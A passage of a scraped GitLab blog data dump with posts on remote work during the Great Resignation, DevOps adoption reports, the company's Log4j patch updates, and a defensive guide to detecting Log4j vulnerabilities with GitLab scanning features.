Up","en-us/blog/hey-icons-lighten-up.yml","en-us/blog/hey-icons-lighten-up",{"_path":16006,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16007,"content":16013,"config":16019,"_id":16021,"_type":16,"title":16022,"_source":17,"_file":16023,"_stem":16024,"_extension":20},"/en-us/blog/how-to-navigate-the-great-resignation",{"title":16008,"description":16009,"ogTitle":16008,"ogDescription":16009,"noIndex":6,"ogImage":16010,"ogUrl":16011,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16011,"schema":16012},"How to navigate The Great Resignation","Tips for leaders and job seekers as they embrace the future of work or search for their first remote job.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679453/Blog/Hero%20Images/remote-work.png","https://about.gitlab.com/blog/how-to-navigate-the-great-resignation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to navigate The Great Resignation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Betsy Bula\"}],\n        \"datePublished\": \"2021-12-16\",\n      }",{"title":16008,"description":16009,"authors":16014,"heroImage":16010,"date":16016,"body":16017,"category":6634,"tags":16018},[16015],"Betsy Bula","2021-12-16","\n\n[The Great Resignation](https://www.forbes.com/sites/jenamcgregor/2021/12/14/2021-brought-us-the-great-resignation-no-one-can-agree-what-to-call-it/?sh=a58146b509c7) is upon us. Turnover rates in the U.S. continued to reach historic highs in October 2021, with more than 4.2 million people quitting their jobs that month, according to the [Bureau of Labor Statistics](https://www.bls.gov/news.release/jolts.nr0.htm). While this Great Resignation can be attributed to a number of factors, it’s clear that remote and flexible work is high on the list for knowledge workers globally. \n\nIn fact, in GitLab’s [2021 Remote Work Report](https://about.gitlab.com/company/culture/all-remote/remote-work-report/), 52% of remote workers said they would consider leaving their co-located company for a remote role. If remote work was suddenly no longer an option, one in three respondents would quit their job. \n\nWhether you’re a job seeker looking for your first remote role or an employer hoping to embrace remote work to attract and retain the most talented people in this new era of work, here are a few things to keep in mind.\n\n## Job seekers: What to look for when considering a remote job\n\n![Working at GitLab Commit London 2019](https://about.gitlab.com/images/all-remote/gitlab-commit-london-coworking-2019.jpg){: .shadow.medium.center}\nWorking at GitLab Commit London 2019\n{: .note.text-center}\n\nIn a job market that is stacked in your favor, you may find yourself comparing multiple offers to decide on your next move. While many companies now claim to support remote and flexible work, they are likely [not all equal](/company/culture/all-remote/all-remote-vs-hybrid-remote-comparison/) in terms of how their remote culture truly operates.\n\nEach person has individual preferences and needs from their employer, but there are some factors that no job title or compensation package can offset. You’ll want to ask a few [critical questions](/company/culture/all-remote/evaluate/) during the interview process to be sure the remote role you’re considering meets your expectations. \n\n### 1. Where do the leaders work? \n\nThere’s a dramatic difference between remote work being tolerated and it being truly ingrained into every process and norm within the organization. \n\nWhere the company’s leaders (and your manager) spend most of their time is an [excellent indicator](/company/culture/all-remote/hybrid-remote/#leaderships-place-in-the-office) of the level of commitment they have for remote or hybrid work. If you’re considering joining a [hybrid organization](/company/culture/all-remote/hybrid-remote) where most senior leaders and even your manager primarily work in an office, you may want to ask more questions about how they ensure all team members have an equitable employee experience. \n\n### 2. How does the team communicate?\n\nIn any hybrid or all-remote organization, communication practices are a foundational piece to team members feeling like they’re able to thrive. Ask about whether the company [maintains a handbook](/company/culture/all-remote/handbook-first-documentation/), or single source of truth, that all team members can access. If not, how is information disseminated? \n\nIt’s a good sign if there are [asynchronous communication](/company/culture/all-remote/asynchronous/) practices in place, and tools that allow teams to collaborate and share information regardless of the hours they work each day.\n\n### 3. What does \"flexibility\" actually mean?\n\nMany companies will use the word “flexibility” on their career site, but it can be hard to know what that actually means in practice. \n\nIs the team expected to be online during certain hours? Will the company track your online hours? These are potential red flags to dig into more in the interview process. Keep in mind that an organization that truly believes in remote work will track your results, not your hours spent on your laptop. \n\nHaving true [autonomy over your schedule](/company/culture/all-remote/tips/#find-your-routine) means you’ll have the opportunity to work [non-linear workdays](/company/culture/all-remote/non-linear-workday/), be there for family and friends when needed, and get work done during your peak productivity hours. This allows you to shape your work around your life, not the other way around. \n\n### 4. Will you be set up for success?\n\nWhen you’re [starting out in a remote role](/company/culture/all-remote/getting-started/), you need the right tools, training, and equipment to be productive and happy. \n\nFind out whether you’ll be offered equipment, or be able to [expense what you’ll need](/handbook/spending-company-money/) to create a [healthy remote workspace](/company/culture/all-remote/workspace/). Some organizations will offer to cover expenses of joining a coworking space if you prefer not to work at home everyday. \n\nAlso be sure to ask what the onboarding process will look like and how your manager and team will [support you](/company/culture/all-remote/being-a-great-remote-manager/#prioritize-onboarding) through the first weeks and months. It’s important to have the resources you need as you learn the company’s culture and adopt new remote skills, especially if this is your first remote role.\n\n## Employers: Evolve your organization to keep talented people engaged\n\n![GitLab all-remote at scale illustration](https://about.gitlab.com/images/all-remote/gitlab_all_remote_work_environment_scale.jpg){: .medium.center}\n\nThe world of work has undergone a dramatic evolution since the start of the pandemic, putting the onus on business leaders and hiring managers to make sure their processes and cultures evolve too. What worked in the past to retain team members may simply not meet their needs today.\n\nDespite the pressure to keep retention as high as possible, remember that some attrition is natural. You don’t want to prevent team members from pursuing the next step in their career, even if that means leaving the organization. It’s also important to recognize when someone is not aligned with your values, because this can cause your culture to erode over time.\n\n### 1. Ask the right questions (and listen)\n\nYou’re probably already surveying your team regularly about their overall satisfaction with your company as an employer. But what are you doing with that information? If you’re asking team members about their work preferences but not using those results as a catalyst for change, your best employees are likely to start looking elsewhere. \n\nSharing a summary of the results transparently will also go a long way in helping to build trust, create accountability, and give everyone a better understanding of the breadth of needs within the team. \n\nManagers also play a crucial role in the employee experience equation, especially in a remote or hybrid environment. They should be checking in with their team members regularly in [1:1 meetings](/handbook/leadership/1-1/) to understand what’s going on in their lives, help them [combat isolation and burnout](/company/culture/all-remote/mental-health/#working-to-prevent-burnout-isolation-and-anxiety), and to keep tabs on their overall engagement. \n\n### 2. Don't try to replicate the in-office experience remotely\n\nIf you were once a colocated company that has recently adopted remote or hybrid work, this means rethinking your processes, norms, workflows, and even [your culture](/company/culture/all-remote/building-culture/). You may have been able to attract and keep talented people engaged in the past by offering stellar on-site perks, but what does your culture look like when the office is stripped away? \n\nInstead of [trying to force old habits](/company/culture/all-remote/what-not-to-do/) to work in a dramatically different setting, take a look at your organizational design as a whole, and start evolving it. This includes how your team communicates, how you recognize and promote people, how you handle meetings, whether you track output or input, and so much more. \n\nIf possible, consider [hiring a Head of Remote](/company/culture/all-remote/head-of-remote), or someone who is experienced in organizational design and remote practices.\n\n### 3. Build a culture of trust, flexibility, and autonomy\n\nThere’s no “one size fits all” when it comes to when and where a diverse team of people can do their best work. That’s why allowing your team to have full autonomy in shaping their workdays and weeks is the best way to boost productivity and build mutual trust within your organization. \n\nFor this to work, you’ll need to focus on [measuring results](https://handbook.gitlab.com/handbook/values/#measure-results-not-hours), not input. Step away from the tracking devices. Instead, outline each team's and each individual's goals on a quarterly or monthly basis, and measure their success based on those goals, not on whether they were sitting in a chair during certain hours.  \n\n### 4. Create clarity through documentation\n\nTo provide a top-notch employee experience in a remote, hybrid, or even colocated setting, your goal should be to have [no unwritten rules](/company/culture/all-remote/building-culture/#no-unwritten-rules-in-a-remote-work-culture). This means you’ll need a handbook, or a single source of truth, where you document everything a team member needs to know about your company. \n\nThis high level of documentation extends to how you approach [meetings](/company/culture/all-remote/meetings/) as well. Every meeting should have an agenda attached to the invite ahead of time. During meetings, take copious notes so that there’s enough context around the discussion. Not only does this create shared clarity for those in attendance, it’s also more inclusive of those who are unable to attend.\n\nWith the dramatic rise in remote-friendly roles and organizations embracing borderless hiring, job seekers today have more options and opportunities than ever before. Organizations and leaders must begin to evolve and be more intentional about how they support their employees beyond the requisite compensation and benefits. Communicate openly, be willing to iterate, and extend empathy and grace to one another. \n\n**Looking for more resources and remote best practices? Check out [GitLab’s Guide to Remote Work](https://learn.gitlab.com/allremote/).** \n",[7715,3798],{"slug":16020,"featured":6,"template":678},"how-to-navigate-the-great-resignation","content:en-us:blog:how-to-navigate-the-great-resignation.yml","How To Navigate The Great Resignation","en-us/blog/how-to-navigate-the-great-resignation.yml","en-us/blog/how-to-navigate-the-great-resignation",{"_path":16026,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16027,"content":16032,"config":16037,"_id":16039,"_type":16,"title":16040,"_source":17,"_file":16041,"_stem":16042,"_extension":20},"/en-us/blog/devops-adoption",{"title":16028,"description":16029,"ogTitle":16028,"ogDescription":16029,"noIndex":6,"ogImage":14267,"ogUrl":16030,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16030,"schema":16031},"Understand how your teams adopt DevOps with DevOps reports","Learn about analytics, DevOps reports, DevOps scores, and more.","https://about.gitlab.com/blog/devops-adoption","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Understand how your teams adopt DevOps with DevOps reports\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Orit Golowinski\"}],\n        \"datePublished\": \"2021-12-15\",\n      }",{"title":16028,"description":16029,"authors":16033,"heroImage":14267,"date":16034,"body":16035,"category":962,"tags":16036},[15485],"2021-12-15","\n\nGitLab has an extraordinary range of features for a single application, providing an [entire DevOps platform](/stages-devops-lifecycle/) from [portfolio planning](/stages-devops-lifecycle/plan/) all the way through to [monitoring](/stages-devops-lifecycle/monitor/) and [service desk](https://docs.gitlab.com/ee/user/project/service_desk/). As such, GitLab is uniquely positioned to deliver a complete picture of your organization's DevOps journey and your return on investment in automation and DevOps practices.\n\nSome of the most interesting and difficult questions that organizations ask themselves are:\n\n* What do we gain from different development practices used by our teams?\n* What makes one team more efficient than another?\n* What practices have been successful in one team that we can introduce to others?\n\n## Analytics\n\nGitLab has several metrics to give you insight into the development lifecycle:\n\n* [Application Security](https://docs.gitlab.com/ee/user/application_security/security_dashboard/#project-security-dashboard) -  provides a comprehensive set of features for viewing and managing vulnerabilities.\n* [CI/CD](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html) - tracks the history of your pipeline successes and failures, as well as how long each pipeline ran.\n* [Code Review](https://docs.gitlab.com/ee/user/analytics/code_review_analytics.html) - displays open merge requests and their review time.\n* [Insights](https://docs.gitlab.com/ee/user/project/insights/index.html)- allows you to configure custom analytics that will be displayed.\n* [Issue](https://docs.gitlab.com/ee/user/group/issues_analytics/index.html) - illustrates the number of issues created each month.\n* [Merge Request](https://docs.gitlab.com/ee/user/analytics/merge_request_analytics.html) - displays information that will help you evaluate the efficiency and productivity of your merge request process.\n* [Repository](https://docs.gitlab.com/ee/user/analytics/repository_analytics.html) - displays information such as commit statistics, code coverage, and programming languages used in the repository.\n* [Value Stream Analytics](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html) - measures the time spent to go from an idea to production.\n\nSome analytics are only available for instance-level (self-managed), group level, or project level. Read [more](https://docs.gitlab.com/ee/user/analytics/) about analytics.\n\nThese analytics are a great way to see contributions from different projects and groups. On their own, however, they don't give insights into which processes your teams are using. For that, we offer DevOps Reports.\n\n## DevOps adoption reports\n\nDevOps Adoption is a DevOps Report located in group-level analytics. It shows you data for how teams in your organization use the most essential GitLab features.\n\nYou can use DevOps Adoption to:\n\n- Identify specific subgroups that are lagging in their adoption of GitLab features, so you can guide them on their DevOps journey.\n- Find subgroups that have successfully adopted certain features, and could provide guidance to other subgroups on how to use those features.\n- Verify if you are getting the return on investment that you expected from GitLab.\n\n![DevOps Adoption](https://about.gitlab.com/images/blogimages/devops_reports.png){: .shadow}\n\nIn this example, we can see some interesting data on how a team uses features in development, security, and operations categories:\n\n* **Development**\n  * Approvals: At least one merge request approval on a merge request.\n  * Code owners: At least 1 defined code owner that owns a specific file or repository in the group.\n  * Issues: At least 1 issue opened in this group.\n  * Merge requests: At least 1 merge request opened in this group.\n* **Security**\n  * DAST:  At least 1 DAST scan run in a pipeline in the group.\n  * Dependency Scanning: At least 1 dependency scan ran in a pipeline in the group.\n  * Fuzz Testing: At least 1 fuzz testing scan ran in a pipeline in the group.\n  * SAST: At least 1 SAST scan ran in a pipeline in the group.\n* **Operations**\n  * Deployments: At least 1 deployment.\n  * Pipelines: At least 1 pipeline ran successfully.\n  * Runners: At least 1 runner configured for the project or group.\n\nIn the future we plan to add even more feature categories to DevOps Reports, such as:\n* [Environments](https://docs.gitlab.com/ee/ci/environments/#environments-and-deployments)\n* [Pages](https://docs.gitlab.com/ee/user/project/pages/)\n* [Compliance Pipelines](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-pipeline-configuration)\n* [Incidents](https://docs.gitlab.com/ee/operations/incident_management/incidents.html)\n* [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/#review-apps)\n\n...and much more. You can follow our future plans in the following [epic](https://gitlab.com/groups/gitlab-org/-/epics/5019).\n\n_DevOps Reports are available for the Ultimate tier for self-managed and SaaS users. To find DevOps Reports, go to your group and in the left sidebar, select Analytics > DevOps adoption_\n\n## DevOps Score\n\nYou can use the DevOps score to compare your DevOps status to other organizations.\n\nThe DevOps Score tab shows usage of major GitLab features on your instance over the last 30 days. GitLab calculates the averages feature usage based on the number of billable users in that time period. You can also see the Leader usage score, calculated from top-performing instances based on Service Ping data that GitLab collects. GitLab compares your score to the lead score of each feature and shows it as a percentage underneath the feature. Your overall DevOps Score is an average of your feature scores.\n\nTo analyze your DevOps Score, GitLab aggregates Service Ping (sometimes referred to as Usage Ping) data on GitLab servers for analysis. Your usage information is not sent to any other GitLab instances. If you have just started using GitLab, it may take a few weeks for GitLab to collect enough data to calculate your DevOps Score.\n\n![DevOps Score](https://about.gitlab.com/images/blogimages/dev_ops_score_v12_6.png){: .shadow}\n\n_DevOps score is available at the admin panel for all tiers under Analytics > DevOps Reports._\n\nTo see the DevOps score, you must activate your GitLab instance’s [Service Ping](https://docs.gitlab.com/ee/administration/settings/usage_statistics.html#service-ping). This is because DevOps Score is a comparative tool, so your score data must first be centrally processed by GitLab, Inc.\n\nThere are several benefits of enabling Service Ping, such as DevOps Score and cohorts:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZhLrhZlb_zI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Cohorts\n\nCohorts shows your teams' GitLab activities over time, and is a useful tool for administrators to view user retention and manage seats in their GitLab instance.\n\n![Cohorts](https://about.gitlab.com/images/blogimages/cohorts_v13_9_a.png){: .shadow}\n\nUsers are considered active if they have performed at least one of the following activities:\n\n* Sign in to GitLab.\n* Perform a Git activity such as push or pull.\n* Visit pages related to dashboards, projects, issues, or merge requests.\n* Use the API.\n* Use the GraphQL API.\n\nCover image credit:\n\nCover image by [John Schnobrich](https://unsplash.com/photos/FlPc9_VocJ4) on [Unsplash](https://unsplash.com)\n{: .note}\n",[4103,754,696],{"slug":16038,"featured":6,"template":678},"devops-adoption","content:en-us:blog:devops-adoption.yml","Devops Adoption","en-us/blog/devops-adoption.yml","en-us/blog/devops-adoption",{"_path":16044,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16045,"content":16050,"config":16055,"_id":16057,"_type":16,"title":16058,"_source":17,"_file":16059,"_stem":16060,"_extension":20},"/en-us/blog/updates-and-actions-to-address-logj-in-gitlab",{"title":16046,"description":16047,"ogTitle":16046,"ogDescription":16047,"noIndex":6,"ogImage":14173,"ogUrl":16048,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16048,"schema":16049},"GitLab addresses Log4j vulnerabilities with security updates","Actions we’ve taken to investigate and mitigate the impact of Log4j, and actions our users can take.","https://about.gitlab.com/blog/updates-and-actions-to-address-logj-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates and actions to address Log4j CVE 2021 44228 and CVE 2021 45046 in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-12-15\",\n      }",{"title":16051,"description":16047,"authors":16052,"heroImage":14173,"date":16034,"body":16053,"category":674,"tags":16054},"Updates and actions to address Log4j CVE 2021 44228 and CVE 2021 45046 in GitLab",[711],"\n\n**Updated 6:00 PM UTC January 25, 2022**\nAs of January 22, 2022, we have [updated the GitLab dependency scanning and SAST analyzers to use the latest version of log4j, 2.17.1](https://gitlab.com/groups/gitlab-org/-/epics/7321). Additionally, we have removed log4j as a dependency from our license scanning analyzer. At this point, we believe that all impacted GitLab components have been updated to the newest log4j version. Our teams continue to monitor and investigate this issue to ensure that our products and customers are secure.\n\n---\n\n**Updated 8:00 PM UTC January 05, 2022**\n\nTL;DR: We have investigated the new Log4j vulnerability, [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832), and have determined that this is a low impact to the GitLab platform and our customers. We will continue to monitor this situation closely and will continue to keep you informed.\n\nOn 2021-12-28, [version 2.17.1 of Apache Log4j was released](https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832), containing a fix for CVE-2021-44832. This vulnerability does not pose a significant risk to GitLab Self-managed or SaaS offerings. As mentioned in previous updates, we are planning on updating Log4j in SAST and Dependency Scanning analyzers GitLab 14.7 scheduled for January 22, 2022. We will now be targeting version Log4j 2.17.1 for these updates.\n\n---\n\n**Updated 10:45 PM UTC December 21, 2021**\n\nTL;DR: We have investigated the new Log4j denial of service vulnerability, [CVE-2021-45105](https://nvd.nist.gov/vuln/detail/CVE-2021-45105), and have determined that this is a low impact to the GitLab platform and our customers. We will continue to monitor this situation closely and will continue to keep you informed.\n\nUsers with default configurations of SAST and Dependency scanning of GitLab Self-managed and SaaS are at very low risk for Log4j vulnerabilities. If you are not running default configurations, please read on for recommended actions.\n\nWe’ve established that exploitation of this vulnerability in GitLab does not impact confidentiality, integrity, or availability of customer data. If exploited, an attacker would be able to crash the SAST or Dependency Scanning analyzer that’s currently running in a CI job only. Exploitation requires privileged access to the running CI job. Additionally, exploitation requires a specific set of Log4j configurations, and GitLab deploys Log4j in a default configuration during CI job operations that require it. \n\nDue to the low level of risk involved here, we plan to update Log4j in SAST and Dependency Scanning analyzers to v2.17.1 in GitLab 14.7 scheduled for January 22, 2022. Should this situation change, we will update customers immediately.\n\n---\n\n**Updated 12:30 AM UTC December 18, 2021**\n\nOn 2021-12-16 the Scala programming language announced that sbt [includes a Log4j dependency that is vulnerable to CVE-2021-44228](https://www.scala-lang.org/blog-detail/2021/12/16/state-of-log4j-in-scala-ecosystem.html), although it is not enabled by default. The Spotbugs SAST analyzer for Java, Scala, Groovy, and Kotlin code includes sbt. GitLab has updated the sbt version in this analyzer to version 1.5.7, which includes an updated version of Log4j. By default, this analyzer only runs when Java, Scala, Groovy, or Kotlin language code is detected, and sbt is only invoked when Scala code is found.\n\nFor those running Spotbugs with default configurations for SAST, no action is needed.  \n\n### Action needed:\n* [For those users running older version of SAST, or using modified configurations](/blog/updates-and-actions-to-address-logj-in-gitlab/#actions-recommended-for-customers-running-older-versions-of-sast-and-dependency-scanning-or-using-modified-configurations)\n* [For Self-Managed customers running an offline environment](/blog/updates-and-actions-to-address-logj-in-gitlab/#actions-recommended-for-self-managed-customers-running-an-offline-environment)\n\nWe’ve updated the contents of this blog post to reflect this new finding and fix. _2021-12-18 updates are in italics below._\n\n---\n\nWe want to share the actions we’ve taken in response to the Log4j remote code execution vulnerabilities [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) and [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046). Upon becoming aware of the vulnerabilities, we immediately mobilized our Security and Engineering teams to determine usage of this software component and its potential impact within our product, across our company, and within our third-party software landscape. Our teams have continued to investigate and monitor the situation over the past few days and it has since become known that the following third-party software dependencies used in our SAST and Dependency Scanning features include the vulnerable Log4j libraries:\n\n* PMD OSS (used in SAST)\n* Spotbugs (used in SAST) _(Updated again on 2021-12-17)_\n* Gemnasium-Maven (used in Dependency Scanning)\n\nAt this time, no malicious activity, exploitation, or indicators of compromise have been identified on GitLab.com.\n\n## Actions we have taken to address the Log4j vulnerabilities\n* We have confirmed our DAST analyzer is not using a vulnerable version of Log4j.\n* We have removed Log4j from PMD OSS [v2.12.10](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex/-/tags/v2.12.10).\n* We have upgraded Log4j to [version 2.16](https://logging.apache.org/log4j/2.x/security.html) in Spotbugs [v2.28.11+1](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs/-/tags/v2.28.11+1) and [v2.28.10+1](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs/-/tags/v2.28.10+1). _(Updated again on 2021-12-17 for SBT)_\n* We have upgraded Log4j to [version 2.16](https://logging.apache.org/log4j/2.x/security.html) in Gemnasium-Maven [v2.24.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/tags/v2.24.3).\n\n## Default configurations for SAST and Dependency Scanning are fully patched\n* GitLab.com and self-managed customers who are running the default configurations for [SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) and [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#configuration) are fully patched. **No action is required.**\n\n## Actions recommended for customers running older versions of SAST and Dependency Scanning, or using modified configurations\n* Upgrade your version of [SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) and [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#configuration) using our docs.\n* Visit this [forum post](https://forum.gitlab.com/t/actions-needed-for-customers-running-older-versions-of-sast-and-gemnasium-dependency-analyzer/62928) for alternative workarounds.\n\n## Actions recommended for Self-Managed customers running an offline environment\n* Visit our [instructions for running SAST in an offline environment](https://docs.gitlab.com/ee/user/application_security/sast/index.html#running-sast-in-an-offline-environment) or our [Dependency Scanning offline documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#running-dependency-scanning-in-an-offline-environment) for details on how to update your SAST or Dependency Scanning analyzers.\n\nOur teams are continuing to investigate this issue to ensure that our products and customers are secure. We will provide further communication if additional risks are identified.\n\n## Questions and more information\nIf you have questions, you can post them to this related [forum thread](https://forum.gitlab.com/t/actions-needed-for-customers-running-older-versions-of-sast-and-gemnasium-dependency-analyzer/62928). Customers with an active support contract can also open a [support ticket](https://support.gitlab.com/hc/en-us/requests/new). See our related blog post for information on [how to use GitLab security features to detect Log4j vulnerabilities](/blog/use-gitlab-to-detect-vulnerabilities/).\n\n## Get the latest updates\n* [Subscribe to our security alerts mailing list](https://about.gitlab.com/company/preference-center/)(we'll send you emails like this one each time we make a new update).\n* Bookmark this blog post\n* Subscribe to the [RSS feed for the commit history](https://gitlab.com/gitlab-com/www-gitlab-com/-/commits/master/sites/uncategorized/source/blog/blog-posts/2021-12-15-updates-and-actions-to-address-logj-in-gitlab.html.md.erb?&format=atom) for this blog post.\n",[674],{"slug":16056,"featured":6,"template":678},"updates-and-actions-to-address-logj-in-gitlab","content:en-us:blog:updates-and-actions-to-address-logj-in-gitlab.yml","Updates And Actions To Address Logj In Gitlab","en-us/blog/updates-and-actions-to-address-logj-in-gitlab.yml","en-us/blog/updates-and-actions-to-address-logj-in-gitlab",{"_path":16062,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16063,"content":16068,"config":16072,"_id":16074,"_type":16,"title":16075,"_source":17,"_file":16076,"_stem":16077,"_extension":20},"/en-us/blog/use-gitlab-to-detect-vulnerabilities",{"title":16064,"description":16065,"ogTitle":16064,"ogDescription":16065,"noIndex":6,"ogImage":14173,"ogUrl":16066,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16066,"schema":16067},"How to use GitLab security features to detect log4j vulnerabilities","Detailed guidance to help customers detect vulnerabilities.","https://about.gitlab.com/blog/use-gitlab-to-detect-vulnerabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab security features to detect log4j vulnerabilities\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-12-15\",\n      }",{"title":16064,"description":16065,"authors":16069,"heroImage":14173,"date":16034,"body":16070,"category":299,"tags":16071},[711],"\n_Note: Out of an abundance of caution, we encourage users who are using older versions of GitLab SAST and Dependency Scanning to update to the latest versions. You can find more information and recommended actions in [this blog post](/blog/updates-and-actions-to-address-logj-in-gitlab/)._\n\n_Any customer leveraging the [recommended includes](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) for GitLab SAST has automatically received the new patched versions released Dec 13, 2021._\n\nIn light of the recently discovered log4j vulnerabilities, we would like to demonstrate how GitLab can be used to assess and remediate the log4j vulnerability as well as other security vulnerabilities that may exist in your projects.\n\nThe solutions shared here are: \n* [Dependency Scanning (Ultimate)](#use-gitlab-dependency-scanning-to-detect-and-mitigate-log4j-vulnerabilities)\n* [Container Scanning (Ultimate)](#detect-log4j-vulnerabilities-with-container-scanning)\n* [Cluster image scanning (Ultimate)](#detect-vulnerable-containers-in-your-kubernetes-cluster)\n* [Advanced Search (Premium)](#search-gitlab-projects-which-use-the-log4j-java-library)\n\nFree users wishing to access Premium and Ultimate features can do so by signing up for a [free trial](https://about.gitlab.com/free-trial/) of GitLab. \n\n### Use GitLab dependency scanning to detect and mitigate log4j vulnerabilities \n\n[Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning) uses Gemnasium, which has been [updated](https://gitlab.com/gitlab-org/security-products/gemnasium-db/-/merge_requests/11381) to detect the log4j vulnerability, to automatically find security vulnerabilities in your software dependencies.\n\nLet’s try dependency scanning with a vulnerable project. Navigate to `Create new project > Import project > from URL` and use `https://github.com/christophetd/log4shell-vulnerable-app.git`. \n\nNext, navigate to `Security & Compliance > Security dashboard` and select to configure `Dependency Scanning`. This will create a new merge request enabling the dependency scanner, and you can immediately see the first [scanning results](https://gitlab.com/gitlab-de/playground/log4shell-vulnerable-app/-/pipelines/427550530/security) in the [merge request](https://gitlab.com/gitlab-de/playground/log4shell-vulnerable-app/-/merge_requests/1). \n\nAlternatively, you can edit the `.gitlab-ci.yml` configuration file and include the Dependency Scanning CI/CD template.\n\n```yaml\ninclude:\n- template: Security/Dependency-Scanning.gitlab-ci.yml\n```\n\nCreate a new merge request and wait for the pipeline to finish. Inspect the security reports. \n\n![GitLab security report](https://about.gitlab.com/images/blogimages/2021-12-15-use-gitlab-to-detect-log4j/image2.png){: .shadow}\n\nTake action on the critical vulnerability, open the details and create a new confidential security issue to follow-up. \n\n![Details of security vulnerability](https://about.gitlab.com/images/blogimages/2021-12-15-use-gitlab-to-detect-log4j/image9.png){: .shadow}\n\nAfter merging the MR to add dependency scanning, future MRs and code changes will detect the log4j vulnerabilities. This helps to avoid accidentally introducing older versions again. Open the `Security report` in `Security & Compliance` to get an overview of the vulnerabilities. \n\n![Panel showing security vulnerabilities](https://about.gitlab.com/images/blogimages/2021-12-15-use-gitlab-to-detect-log4j/image4.png){: .shadow}\n\nYou can customize the default settings using [CI/CD variables](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings), for example increasing the log level to debug with `SECURE_LOG_LEVEL: ‘debug’`. \n\nThe project created in the examples above is located [here](https://gitlab.com/gitlab-de/playground/log4shell-vulnerable-app). \n\n### Detect log4j vulnerabilities with Container Scanning\n\nVulnerabilities in container images can come not only from the source code for the application, but also from packages and libraries that are installed on the base image. Images can inherit packages and vulnerabilities from other container images using the `FROM` keyword in a `Dockerfile`. [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) helps detect these vulnerabilities for the Operating System including packages. The latest release adds language vulnerability scans as a new optional feature to help detect the log4j library vulnerability using the underlying scanners (Trivy as default, Grype optional). You can also use this capability to scan remote images using the `DOCKER_IMAGE` variable.\n\nYou can enable the `CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN` variable to [scan for language specific packages](https://docs.gitlab.com/ee/user/application_security/container_scanning/#report-language-specific-findings). Please note that the additionally detected language dependencies can cause duplicates when you enable Dependency Scanning too. \n\nTo try it, navigate to `CI/CD > Pipeline Editor` and add the following configuration for Container Scanning:\n\n```yaml\ninclude:\n    - template: Security/Container-Scanning.gitlab-ci.yml\n\nvariables:\n    # Use Trivy or Grype as security scanners (Trivy is the default in the included template)\n    # CS_ANALYZER_IMAGE: \"registry.gitlab.com/security-products/container-scanning/trivy:4\"\n    # CS_ANALYZER_IMAGE: \"registry.gitlab.com/security-products/container-scanning/grype:4\"\n    # Detect language libraries as dependencies\n    CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN: \"false\"\n    # Test the vulnerable log4j image \n    DOCKER_IMAGE: registry.gitlab.com/gitlab-de/playground/log4shell-vulnerable-app:latest \n```\n\nCreate a new branch, commit the changes and create a new MR. Once the pipeline has completed, inspect the security report in the MR. \n\n![List of vulnerabilities detected by container scanning](https://about.gitlab.com/images/blogimages/2021-12-15-use-gitlab-to-detect-log4j/image6.png){: .shadow}\n\nAfter merging the MR, you can view the vulnerabilities that exist in your default branch by navigating to `Security & Compliance > Vulnerability Report`. \n\n![Panel showing security vulnerabilities](https://about.gitlab.com/images/blogimages/2021-12-15-use-gitlab-to-detect-log4j/image7.png){: .shadow}\n\nInspect the vulnerability details to take action.\n\n![Detail on vulnerability](https://about.gitlab.com/images/blogimages/2021-12-15-use-gitlab-to-detect-log4j/image8.png){: .shadow}\n\nThis feature is available for customers using the default CI/CD templates, or the tagged `:4` scanner images from  GitLab's Container Registry (registry.gitlab.com). If you are using custom images, please rebuild them based on the latest release.\n\n### Detect vulnerable containers in your Kubernetes cluster\n\nYou can use [cluster image scanning in Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) which uses Starboard and [uses Trivy as a security 